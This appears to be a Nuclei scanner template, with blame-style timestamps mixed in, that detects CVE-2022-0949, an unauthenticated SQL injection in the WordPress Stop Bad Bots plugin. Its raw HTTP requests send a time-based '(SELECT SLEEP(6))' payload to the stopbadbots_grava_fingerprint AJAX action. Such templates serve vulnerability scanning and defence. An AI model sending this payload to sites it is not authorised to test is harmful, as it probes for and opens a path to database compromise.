2023-03-05 13:42:10 +00:00
id : CVE-2022-0949
info :
2023-03-13 18:25:41 +00:00
name : WordPress Stop Bad Bots <6.930 - SQL Injection
2023-03-05 13:42:10 +00:00
author : theamanrawat
severity : critical
description : |
2023-03-13 18:25:41 +00:00
WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 6.930.
2023-03-05 13:42:10 +00:00
reference :
- https://wpscan.com/vulnerability/a0fbb79a-e160-49df-9cf2-18ab64ea66cb
- https://wordpress.org/plugins/stopbadbots/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0949
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-0949
cwe-id : CWE-89
2023-10-22 12:16:24 +00:00
epss-score : 0.03202
2023-10-26 18:00:24 +00:00
epss-percentile : 0.90088
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:stopbadbots:block_and_stop_bad_bots:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : stopbadbots
product : block_and_stop_bad_bots
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-03-05 14:19:20 +00:00
tags : cve,stopbadbots,wp-plugin,wp,unauth,wpscan,cve2022,sqli,wordpress
2023-03-05 13:42:10 +00:00
variables :
IP : '{{rand_ip("1.1.1.0/24")}}'
2023-04-27 04:28:59 +00:00
http :
2023-03-05 13:42:10 +00:00
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
X-Real-IP : {{IP}}
Content-Type : application/x-www-form-urlencoded
action=stopbadbots_grava_fingerprint&fingerprint=0
- |
@timeout 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
X-Real-IP : {{IP}}
Content-Type : application/x-www-form-urlencoded
action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))
- |
GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1
Host : {{Hostname}}
req-condition : true
matchers :
- type : dsl
dsl :
- 'duration_2>=6'
- 'status_code_2 == 200'
- 'contains(body_3, "commentform")'
condition : and
2023-10-27 06:32:23 +00:00
# digest: 4a0a0047304502203d7276c69dfb44a784db6acf752cd30632bc3777aa127e48a3ef69d15a40d595022100ed21623b55bb7654fe4f0ce0c9acdc27bae8690ecc5a085ac03ab0fcbbebf416:922c64590222798bb761d5b6d8e72950